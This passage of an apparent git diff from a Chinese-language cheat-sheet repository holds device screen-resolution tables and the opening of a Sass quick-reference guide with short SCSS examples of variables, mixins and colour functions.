| Apple iPad Air 10.9" (2020) | 10.9 <sub>inch</sub> | 1640 x 2360 <sub>px</sub> | 820 x 1180 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 14 |
|
||||
| Apple iPad Air 2 | 9.7 <sub>inch</sub> | 1536 x 2048 <sub>px</sub> | 768 x 1024 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 8.1 |
|
||||
| Apple iPad Mini 7.9" (2019) | 7.9 <sub>inch</sub> | 1536 x 2048 <sub>px</sub> | 768 x 1024 <sub>px</sub> | 324 <sub>ppi</sub> | 162 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 13.1.2 |
|
||||
| Apple iPad Pro | 12.9 <sub>inch</sub> | 2048 x 2732 <sub>px</sub> | 1024 x 1366 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 9 |
|
||||
| Apple iPad Pro 10.5 (2017) | 10.5 <sub>inch</sub> | 1668 x 2224 <sub>px</sub> | 834 x 1112 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 11 |
|
||||
| Apple iPad Pro 11" (2018) | 11 <sub>inch</sub> | 1668 x 2388 <sub>px</sub> | 834 x 1194 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 13.1.2 |
|
||||
| Apple iPad Pro 11" (2020) | 11 <sub>inch</sub> | 1668 x 2388 <sub>px</sub> | 834 x 1194 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 13.4 |
|
||||
| Apple iPad Pro 12.9" (2018) | 12.9 <sub>inch</sub> | 2048 x 2732 <sub>px</sub> | 1024 x 1366 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 13.1.2 |
|
||||
| Apple iPad Pro 12.9" (2020) | 12.9 <sub>inch</sub> | 2048 x 2732 <sub>px</sub> | 1024 x 1366 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 13.4 |
|
||||
| Apple iPad Pro 9.7 | 9.7 <sub>inch</sub> | 1536 x 2048 <sub>px</sub> | 768 x 1024 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 9.3.2 |
|
||||
| Apple iPad Pro 9.7 (2017) | 9.7 <sub>inch</sub> | 1536 x 2048 <sub>px</sub> | 768 x 1024 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 10.3 |
|
||||
| Apple iPad mini 3 | 7.9 <sub>inch</sub> | 1536 x 2048 <sub>px</sub> | 768 x 1024 <sub>px</sub> | 324 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 9 |
|
||||
| Apple iPad mini 4 | 7.9 <sub>inch</sub> | 1536 x 2048 <sub>px</sub> | 768 x 1024 <sub>px</sub> | 324 <sub>ppi</sub> | 162 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 8.1 |
|
||||
| Google Pixel C (2015) | 10.2 <sub>inch</sub> | 2560x1800 <sub>px</sub> | 1280 x 900 <sub>px</sub> | 308 <sub>ppi</sub> | 154 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android 6.0.1 |
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
### 笔记本电脑
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
| 设备 | 屏幕尺寸 | 解析度 | 可视窗口 | 密度 | 设备密度 | 比率 | 系统 |
|
||||
|----------------------|----------------------|---------------------------|--------------------------|--------------------|--------------------|----------------------|-----------------|
|
||||
| MacBook 2015 12" | 12 <sub>inch</sub> | 2304 x 1440 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 226 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
|
||||
| MacBook 2016 12" | 12 <sub>inch</sub> | 2304 x 1440 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 226 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
|
||||
| MacBook 2017 12" | 12 <sub>inch</sub> | 2304 x 1440 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 226 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
|
||||
| MacBook Air 2014 11" | 11.6 <sub>inch</sub> | 1366 x 768 <sub>px</sub> | 1366 x 768 <sub>px</sub> | 135 <sub>ppi</sub> | 135 <sub>ppi</sub> | 1.0 <sub>mdpi</sub> | OS X Mavericks |
|
||||
| MacBook Air 2014 13" | 13.3 <sub>inch</sub> | 1440 x 900 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 128 <sub>ppi</sub> | 128 <sub>ppi</sub> | 1.0 <sub>mdpi</sub> | OS X Mavericks |
|
||||
| MacBook Air 2015 11" | 11.6 <sub>inch</sub> | 1366 x 768 <sub>px</sub> | 1366 x 768 <sub>px</sub> | 135 <sub>ppi</sub> | 135 <sub>ppi</sub> | 1.0 <sub>mdpi</sub> | OS X El Capitan |
|
||||
| MacBook Air 2015 13" | 13.3 <sub>inch</sub> | 1440 x 900 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 128 <sub>ppi</sub> | 128 <sub>ppi</sub> | 1.0 <sub>mdpi</sub> | macOS Sierra |
|
||||
| MacBook Air 2017 13" | 13.3 <sub>inch</sub> | 1440 x 900 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 128 <sub>ppi</sub> | 128 <sub>ppi</sub> | 1.0 <sub>mdpi</sub> | macOS Mojave |
|
||||
| MacBook Air 2018 13" | 13.3 <sub>inch</sub> | 2560 x 1600 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 227 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Mojave |
|
||||
| MacBook Air 2020 13" | 13.3 <sub>inch</sub> | 2560 x 1600 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 227 <sub>ppi</sub> | 114 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | macOS Catalina |
|
||||
| MacBook Pro 13" 2018 | 13.3 <sub>inch</sub> | 2560 x 1600 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 227 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Mojave |
|
||||
| MacBook Pro 15" 2018 | 15.4 <sub>inch</sub> | 2880 x 1800 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 220 <sub>ppi</sub> | 112 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Mojave |
|
||||
| MacBook Pro 16" 2019 | 16 <sub>inch</sub> | 3072 x 1920 <sub>px</sub> | 1536 x 960 <sub>px</sub> | 226 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Catalina |
|
||||
| MacBook Pro 2014 13" | 13.4 <sub>inch</sub> | 2560 x 1600 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 227 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
|
||||
| MacBook Pro 2014 15" | 15.4 <sub>inch</sub> | 2880 x 1800 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 220 <sub>ppi</sub> | 112 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
|
||||
| MacBook Pro 2015 13" | 13.4 <sub>inch</sub> | 2560 x 1600 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 227 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
|
||||
| MacBook Pro 2015 15" | 15.4 <sub>inch</sub> | 2880 x 1800 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 220 <sub>ppi</sub> | 112 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
|
||||
| MacBook Pro 2016 13" | 13.4 <sub>inch</sub> | 2560 x 1600 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 227 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
|
||||
| MacBook Pro 2016 15" | 15.4 <sub>inch</sub> | 2880 x 1800 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 220 <sub>ppi</sub> | 112 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
|
||||
| MacBook Pro 2017 13" | 13.4 <sub>inch</sub> | 2560 x 1600 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 227 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
|
||||
| MacBook Pro 2017 15" | 15.4 <sub>inch</sub> | 2880 x 1800 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 220 <sub>ppi</sub> | 112 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
### 智能手表
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
| 设备 | 屏幕尺寸 | 解析度 | 可视窗口 | 密度 | 设备密度 | 比率 | 系统 |
|
||||
|----------------------|----------------------|---------------------------|--------------------------|--------------------|--------------------|----------------------|-----------------|
|
||||
| Apple Watch SE (40mm) (2020) | 1.57 <sub>inch</sub> | 394 x 324 <sub>px</sub> | 197 x 162 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 7.0 |
|
||||
| Apple Watch SE (44mm) (2020) | 1.78 <sub>inch</sub> | 448 x 368 <sub>px</sub> | 224 x 184 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 7.0 |
|
||||
| Apple Watch Series 3 (38mm) | 1.5 <sub>inch</sub> | 340 x 272 <sub>px</sub> | 170 x 136 <sub>px</sub> | 290 <sub>ppi</sub> | 145 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 4.0 |
|
||||
| Apple Watch Series 3 (42mm) | 1.65 <sub>inch</sub> | 390 x 312 <sub>px</sub> | 195 x 156 <sub>px</sub> | 303 <sub>ppi</sub> | 152 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 4.0 |
|
||||
| Apple Watch Series 4 (40mm) | 1.57 <sub>inch</sub> | 394 x 324 <sub>px</sub> | 197 x 162 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 5.0 |
|
||||
| Apple Watch Series 4 (44mm) | 1.78 <sub>inch</sub> | 448 x 368 <sub>px</sub> | 224 x 184 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 5.0 |
|
||||
| Apple Watch Series 5 (40mm) (2019) | 1.57 <sub>inch</sub> | 394 x 324 <sub>px</sub> | 197 x 162 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 6.0 |
|
||||
| Apple Watch Series 5 (44mm) (2019) | 1.78 <sub>inch</sub> | 448 x 368 <sub>px</sub> | 224 x 184 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 6.0 |
|
||||
| Apple Watch Series 6 (40mm) (2020) | 1.57 <sub>inch</sub> | 394 x 324 <sub>px</sub> | 197 x 162 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 7.0 |
|
||||
| Apple Watch Series 6 (44mm) (2020) | 1.78 <sub>inch</sub> | 448 x 368 <sub>px</sub> | 224 x 184 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 7.0 |
|
||||
| Asus Zenwatch 2 (2015) | 1.63 <sub>inch</sub> | 320 x 320 <sub>px</sub> | 213 x 213 <sub>px</sub> | 278 <sub>ppi</sub> | 185 <sub>ppi</sub> | 1.5 <sub>hdpi</sub> | |
|
||||
| Asus Zenwatch 3 (2016) | 1.39 <sub>inch</sub> | 400 x 400 <sub>px</sub> | 267 x 267 <sub>px</sub> | 287 <sub>ppi</sub> | 191 <sub>ppi</sub> | 1.5 <sub>hdpi</sub> | Android Wear OS 2.1 |
|
||||
| Asus Zenwatch 3 (2016) | 1.39 <sub>inch</sub> | 400 x 400 <sub>px</sub> | 267 x 267 <sub>px</sub> | 287 <sub>ppi</sub> | 191 <sub>ppi</sub> | 1.5 <sub>hdpi</sub> | Android Wear OS 2.1 |
|
||||
| Huawei Watch GT (2018) | 1.39 <sub>inch</sub> | 454 x 454 <sub>px</sub> | 227 x 227 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | |
|
||||
| Huawei Watch Magic (2018) | 1.2 <sub>inch</sub> | 390 x 390 <sub>px</sub> | 195 x 195 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | |
|
||||
| LG G Watch R (2015) | 1.3 <sub>inch</sub> | 320 x 320 <sub>px</sub> | 213 x 213 <sub>px</sub> | 245 <sub>ppi</sub> | 163 <sub>ppi</sub> | 1.5 <sub>hdpi</sub> | Android Wear OS 1.0 |
|
||||
| LG Watch Sport (2017) | 1.38 <sub>inch</sub> | 480 x 480 <sub>px</sub> | 240 x 240 <sub>px</sub> | 348 <sub>ppi</sub> | 174 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android Wear 2.0 |
|
||||
| LG Watch Urbane 2nd Edition (2016) | 1.38 <sub>inch</sub> | 480 x 480 <sub>px</sub> | 240 x 240 <sub>px</sub> | 348 <sub>ppi</sub> | 174 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android Wear 2.0 |
|
||||
| LG Watch W7 (2018) | 1.2 <sub>inch</sub> | 360 x 360 <sub>px</sub> | 240 x 240 <sub>px</sub> | 300 <sub>ppi</sub> | 200 <sub>ppi</sub> | 1.5 <sub>hdpi</sub> | Android Wear OS 2.0 |
|
||||
| Samsung Galaxy Watch (2018) | 1.3 <sub>inch</sub> | 360 x 360 <sub>px</sub> | 240 x 240 <sub>px</sub> | 278 <sub>ppi</sub> | 185 <sub>ppi</sub> | 1.5 <sub>hdpi</sub> | Tizen-based <br/>wearable OS 4.0 |
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
### 常见的显示分辨率(N/A = 不适用)
|
||||
<!--rehype:wrap-class=col-span-2 row-span-2-->
|
||||
|
||||
标准 | 纵横比 | 可视窗口 | 百万像素 | Steam(%) | Stat Counter(%)
|
||||
:- |:- |:- |:- |:- |:- |
|
||||
`nHD` | 16:9 | 640 x 360 <sub>px</sub> | 0.230 | N/A | 0.47
|
||||
`SVGA` | 4:3 | 800 x 600 <sub>px</sub> | 0.480 | N/A | 0.76
|
||||
`XGA` | 4:3 | 1024 x 768 <sub>px</sub> | 0.786 | 0.38 | 2.78
|
||||
`WXGA` | 16:9 | 1280 x 720 <sub>px</sub> | 0.922 | 0.36 | 4.82
|
||||
`WXGA` | 16:10 | 1280 x 800 <sub>px</sub> | 1.024 | 0.61 | 3.08
|
||||
`SXGA` | 5:4 | 1280 x 1024 <sub>px</sub> | 1.311 | 1.24 | 2.47
|
||||
`HD` | ≈16:9 | 1360 x 768 <sub>px</sub> | 1.044 | 1.55 | 1.38
|
||||
`HD` | ≈16:9 | 1366 x 768 <sub>px</sub> | 1.049 | 10.22 | 23.26
|
||||
`WXGA+` | 16:10 | 1440 x 900 <sub>px</sub> | 1.296 | 3.12 | 6.98
|
||||
N/A | 16:9 | 1536 x 864 <sub>px</sub> | 1.327 | N/A | 8.5
|
||||
`HD+` | 16:9 | 1600 x 900 <sub>px</sub> | 1.440 | 2.59 | 4.14
|
||||
`WSXGA+` | 16:10 | 1680 x 1050 <sub>px</sub> | 1.764 | 1.97 | 2.23
|
||||
`FHD` | 16:9 | 1920 x 1080 <sub>px</sub> | 2.074 | 64.81 | 20.41
|
||||
`WUXGA` | 16:10 | 1920 x 1200 <sub>px</sub> | 2.304 | 0.81 | 0.93
|
||||
`QWXGA` | 16:9 | 2048 x 1152 <sub>px</sub> | 2.359 | N/A | 0.51
|
||||
`QXGA` | 4:3 | 2048 x 1536 <sub>px</sub> | 3.145 | - | -
|
||||
`UWFHD` | ≈21:9 | 2560 x 1080 <sub>px</sub> | 2.765 | 1.13 | N/A
|
||||
`QHD` | 16:9 | 2560 x 1440 <sub>px</sub> | 3.686 | 6.23 | 2.15
|
||||
`WQXGA` | 16:10 | 2560 x 1600 <sub>px</sub> | 4.096 | <0.58 | <2.4
|
||||
`UWQHD` | ≈21:9 | 3440 x 1440 <sub>px</sub> | 4.954 | 0.87 | N/A
|
||||
`4K UHD`| 16:9 | 3840 x 2160 <sub>px</sub> | 8.294 | 2.12 | N/A
|
||||
`Other` | - | - | - | 2.00 | 15.09
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
### 屏幕分辨率
|
||||
|
||||
解析度 | 像素
|
||||
:- |:-
|
||||
`540p / qHD` | 960×540<sub>px</sub>
|
||||
`720p / HD` | 1280×720<sub>px</sub>
|
||||
`1080p / Full HD / FHD` | 19201080<sub>px</sub>
|
||||
`2K` | 2048×1080<sub>px</sub>
|
||||
`1440p / QHD / QuadHD / WQHD` | 2560×1440<sub>px</sub>
|
||||
`2160p / UHD` | 3840×2160<sub>px</sub>
|
||||
`4K` | 4096×2160<sub>px</sub>
|
||||
`5K` | 5120×2880<sub>px</sub>
|
||||
`8K / 8K UHD` | 7680×4320<sub>px</sub>
|
||||
|
||||
### 显示分辨率和用例
|
||||
|
||||
解析度名称 | 设备
|
||||
:- |:-
|
||||
`8K` _(8K UHD)_ | `TVs`
|
||||
`“Cinema” 4K` _(4K)_ | 投影仪
|
||||
`UHD` _(4K, Ultra HD, Ultra-High Definition)_ | `TVs`, 监视器, 智能手机
|
||||
`2K` _(none)_ | 投影仪
|
||||
`WUXGA` _(Widescreen Ultra Extended Graphics Array)_ | 监视器, 投影仪
|
||||
`1080p` _(Full HD, FHD, HD, High Definition)_ | `TVs`, 监视器, 智能手机
|
||||
`720p` _(HD, High Definition)_ `TVs`, 智能手机
|
||||
<!--rehype:className=style-list-arrow-->
|
||||
|
||||
另见
|
||||
---
|
||||
|
||||
- [通用解析度列表](https://en.wikipedia.org/wiki/List_of_common_resolutions) _(en.wikipedia.org)_
|
||||
- [显示屏分辨率](https://en.wikipedia.org/wiki/Display_resolution) _(en.wikipedia.org)_
|
2452
docs/ruby.md
Normal file
2452
docs/ruby.md
Normal file
File diff suppressed because it is too large
Load Diff
1201
docs/rust.md
Normal file
1201
docs/rust.md
Normal file
File diff suppressed because it is too large
Load Diff
619
docs/sass.md
Normal file
619
docs/sass.md
Normal file
@ -0,0 +1,619 @@
|
||||
Sass
|
||||
===
|
||||
|
||||
这是一份快速参考备忘单,列出了 [SASS](https://sass-lang.com) 最有用的功能。
|
||||
|
||||
Sass 基础
|
||||
--------
|
||||
|
||||
### 介绍
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
- [Sass 官方文档](https://sass-lang.com/documentation) _(sass-lang.com)_
|
||||
- [Sass 中文文档](https://www.sass.hk/docs/) _(sass.hk)_
|
||||
|
||||
Sass 是一种 CSS 的预编译语言
|
||||
|
||||
```bash
|
||||
$ npm install -g sass
|
||||
```
|
||||
|
||||
在 Node.js 环境中使用 Sass
|
||||
|
||||
```bash
|
||||
$ sass source/index.scss build/index.css
|
||||
$ sass --watch input.scss output.css
|
||||
$ sass --watch app/sass:public/css
|
||||
```
|
||||
|
||||
### 变量
|
||||
|
||||
```scss
|
||||
$defaultLinkColor: #46EAC2;
|
||||
a {
|
||||
color: $defaultLinkColor;
|
||||
}
|
||||
```
|
||||
|
||||
### 字符串插值
|
||||
|
||||
```scss
|
||||
$wk: -webkit-;
|
||||
.rounded-box {
|
||||
#{$wk}border-radius: 4px;
|
||||
}
|
||||
```
|
||||
|
||||
### 注释
|
||||
|
||||
```scss
|
||||
/*
|
||||
这是多行注释
|
||||
块注释
|
||||
块注释
|
||||
*/
|
||||
// 这是一条单行注释
|
||||
```
|
||||
|
||||
### Extend
|
||||
|
||||
```scss
|
||||
.button {
|
||||
···
|
||||
}
|
||||
.push-button {
|
||||
@extend .button;
|
||||
}
|
||||
```
|
||||
|
||||
### 嵌套(Nesting)
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```scss
|
||||
nav {
|
||||
ul {
|
||||
padding: 0;
|
||||
list-style: none;
|
||||
}
|
||||
li { display: inline-block; }
|
||||
a {
|
||||
display: block;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
编译 css 为:
|
||||
|
||||
```scss
|
||||
nav ul {
|
||||
padding: 0;
|
||||
list-style: none;
|
||||
}
|
||||
nav li {
|
||||
display: inline-block;
|
||||
}
|
||||
nav a {
|
||||
display: block;
|
||||
}
|
||||
```
|
||||
|
||||
### 模块(片段)
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```scss
|
||||
// _base.scss
|
||||
$font-stack: Helvetica, sans-serif;
|
||||
$primary-color: #333;
|
||||
```
|
||||
|
||||
注意以下划线开头的 Sass 文件
|
||||
|
||||
```scss
|
||||
// styles.scss
|
||||
@use 'base';
|
||||
|
||||
.inverse {
|
||||
background-color: base.$primary-color;
|
||||
color: white;
|
||||
}
|
||||
```
|
||||
|
||||
编译 css 为:
|
||||
|
||||
```css
|
||||
.inverse {
|
||||
background-color: #333;
|
||||
color: white;
|
||||
}
|
||||
```
|
||||
|
||||
### 混合(Mixins)
|
||||
|
||||
```scss
|
||||
@mixin heading-font {
|
||||
font-family: sans-serif;
|
||||
font-weight: bold;
|
||||
}
|
||||
h1 {
|
||||
@include heading-font;
|
||||
}
|
||||
```
|
||||
|
||||
查看: [混合(Mixins)](#sass-混合mixins)
|
||||
|
||||
### @import
|
||||
|
||||
```scss
|
||||
@import './other_sass_file';
|
||||
@import '/code', 'lists';
|
||||
// 纯 CSS @imports
|
||||
@import "theme.css";
|
||||
@import url(theme);
|
||||
```
|
||||
|
||||
`.sass` 或 `.sass` 扩展名是可选的。
|
||||
|
||||
Sass 混合(Mixins)
|
||||
------
|
||||
|
||||
### 参数
|
||||
|
||||
```scss
|
||||
@mixin font-size($n) {
|
||||
font-size: $n * 1.2em;
|
||||
}
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```scss
|
||||
body {
|
||||
@include font-size(2);
|
||||
}
|
||||
```
|
||||
|
||||
### 默认值
|
||||
|
||||
```scss
|
||||
@mixin pad($n: 10px) {
|
||||
padding: $n;
|
||||
}
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```scss
|
||||
body {
|
||||
@include pad(15px);
|
||||
}
|
||||
```
|
||||
|
||||
### 默认变量
|
||||
|
||||
```scss
|
||||
$default-padding: 10px;
|
||||
@mixin pad($n: $default-padding) {
|
||||
padding: $n;
|
||||
}
|
||||
body {
|
||||
@include pad(15px);
|
||||
}
|
||||
```
|
||||
|
||||
Sass 颜色函数
|
||||
--------
|
||||
<!--rehype:body-class=cols-2-->
|
||||
|
||||
### rgba
|
||||
|
||||
```scss
|
||||
rgb(100, 120, 140)
|
||||
rgba(100, 120, 140, .5)
|
||||
rgba($color, .5)
|
||||
```
|
||||
|
||||
### Mixing
|
||||
|
||||
```scss
|
||||
mix($a, $b, 10%) // 10% a, 90% b
|
||||
```
|
||||
|
||||
### 修改 HSLA
|
||||
|
||||
```scss
|
||||
darken($color, 5%)
|
||||
lighten($color, 5%)
|
||||
```
|
||||
|
||||
```scss
|
||||
saturate($color, 5%)
|
||||
desaturate($color, 5%)
|
||||
grayscale($color)
|
||||
```
|
||||
|
||||
```scss
|
||||
adjust-hue($color, 15deg)
|
||||
complement($color) // like adjust-hue(_, 180deg)
|
||||
invert($color)
|
||||
```
|
||||
|
||||
```scss
|
||||
fade-in($color, .5) // aka opacify()
|
||||
fade-out($color, .5) // aka transparentize()
|
||||
rgba($color, .5) // sets alpha to .5
|
||||
```
|
||||
|
||||
### 获取值
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
#### HSLA
|
||||
|
||||
```scss
|
||||
hue($color) // 0deg..360deg
|
||||
saturation($color) // 0%..100%
|
||||
lightness($color) // 0%..100%
|
||||
alpha($color) // 0..1 (aka opacity())
|
||||
```
|
||||
|
||||
#### RGB
|
||||
|
||||
```scss
|
||||
red($color) // 0..255
|
||||
green($color)
|
||||
blue($color)
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`color.red()` | 用于获取颜色的红色通道
|
||||
`color.green()` | 用于获得颜色的绿色通道
|
||||
`color.blue()` | 用于获取颜色的蓝色通道
|
||||
`color.hue()` | 以获得颜色的色调
|
||||
`color.saturation()` | 用于获得颜色的饱和度
|
||||
`color.lightness()` | 以获得颜色的亮度
|
||||
|
||||
另见: [hue()](http://sass-lang.com/documentation/Sass/Script/Functions.html#hue-instance_method), [red()](http://sass-lang.com/documentation/Sass/Script/Functions.html#red-instance_method)
|
||||
|
||||
### Sass 内置了对颜色值的支持
|
||||
|
||||
```scss
|
||||
@debug rgb(204, 102, 153); // #c69
|
||||
@debug rgba(107, 113, 127, 0.8); // rgba(107, 113, 127, 0.8)
|
||||
@debug hsl(228, 7%, 86%); // #dadbdf
|
||||
@debug hsla(20, 20%, 85%, 0.7); // rgb(225, 215, 210, 0.7)
|
||||
```
|
||||
|
||||
### 调整
|
||||
|
||||
```scss
|
||||
// 固定金额变动
|
||||
adjust-color($color, $blue: 5)
|
||||
adjust-color($color, $lightness: -30%) // darken(_, 30%)
|
||||
adjust-color($color, $alpha: -0.4) // fade-out(_, .4)
|
||||
adjust-color($color, $hue: 30deg) // adjust-hue(_, 15deg)
|
||||
// 通过百分比变化
|
||||
scale-color($color, $lightness: 50%)
|
||||
// 完全改变一个属性
|
||||
change-color($color, $hue: 180deg)
|
||||
change-color($color, $blue: 250)
|
||||
```
|
||||
|
||||
支持的: `$red`, `$green`, `$blue`, `$hue`, `$saturation`, `$lightness`, `$alpha`
|
||||
|
||||
Sass 其他函数
|
||||
--------
|
||||
|
||||
### 字符串
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```scss
|
||||
unquote('hello')
|
||||
quote(bold); // "bold"
|
||||
```
|
||||
|
||||
```scss
|
||||
to-upper-case(hello)
|
||||
to-lower-case(hello)
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```scss
|
||||
str-length(hello world)
|
||||
// "ello" - 它是从 1 开始的,而不是从 0 开始的
|
||||
str-slice(hello, 2, 5)
|
||||
str-insert("abcd", "X", 1) // "Xabcd"
|
||||
```
|
||||
|
||||
### Numbers
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```scss
|
||||
floor(4.2) // 4
|
||||
ceil(4.2) // 5
|
||||
round(4.2) // 4
|
||||
abs(-10px) // 10px
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```scss
|
||||
min(1px, 4px) // 1px
|
||||
$widths: 50px, 30px, 100px
|
||||
@debug math.min($widths...) // 30px
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```scss
|
||||
percentage(.5) // 50%
|
||||
random(3) // 0..3
|
||||
```
|
||||
|
||||
### Units
|
||||
|
||||
```scss
|
||||
unit(3em) // 'em'
|
||||
unitless(100px) // false
|
||||
```
|
||||
|
||||
### Units
|
||||
|
||||
```scss
|
||||
unit(3em) // 'em'
|
||||
unitless(100px) // false
|
||||
```
|
||||
|
||||
### Misc
|
||||
|
||||
```scss
|
||||
// 检查 $red
|
||||
variable-exists(red)
|
||||
// 检查@mixin red-text
|
||||
mixin-exists(red-text)
|
||||
function-exists(redify)
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```scss
|
||||
global-variable-exists(red)
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```scss
|
||||
// .menu li a
|
||||
selector-append('.menu', 'li', 'a')
|
||||
// .menu:hover li
|
||||
selector-nest('.menu', '&:hover li')
|
||||
selector-extend(...)
|
||||
selector-parse(...)
|
||||
selector-replace(...)
|
||||
selector-unify(...)
|
||||
```
|
||||
|
||||
Sass 功能检查
|
||||
--------
|
||||
<!--rehype:body-class=cols-2-->
|
||||
|
||||
### 功能检查
|
||||
|
||||
```scss
|
||||
meta.feature-exists($feature)
|
||||
feature-exists($feature) //=> boolean
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```scss
|
||||
@mixin debug-content-exists {
|
||||
@debug meta.content-exists();
|
||||
@content;
|
||||
}
|
||||
|
||||
@include debug-content-exists; // false
|
||||
@include debug-content-exists { // true
|
||||
// Content!
|
||||
}
|
||||
```
|
||||
|
||||
### 功能
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`global-variable-shadowing` [#](https://sass-lang.com/documentation/modules/meta#feature-exists) | 这意味着局部变量将隐藏全局变量,除非它具有 `!global` 标志
|
||||
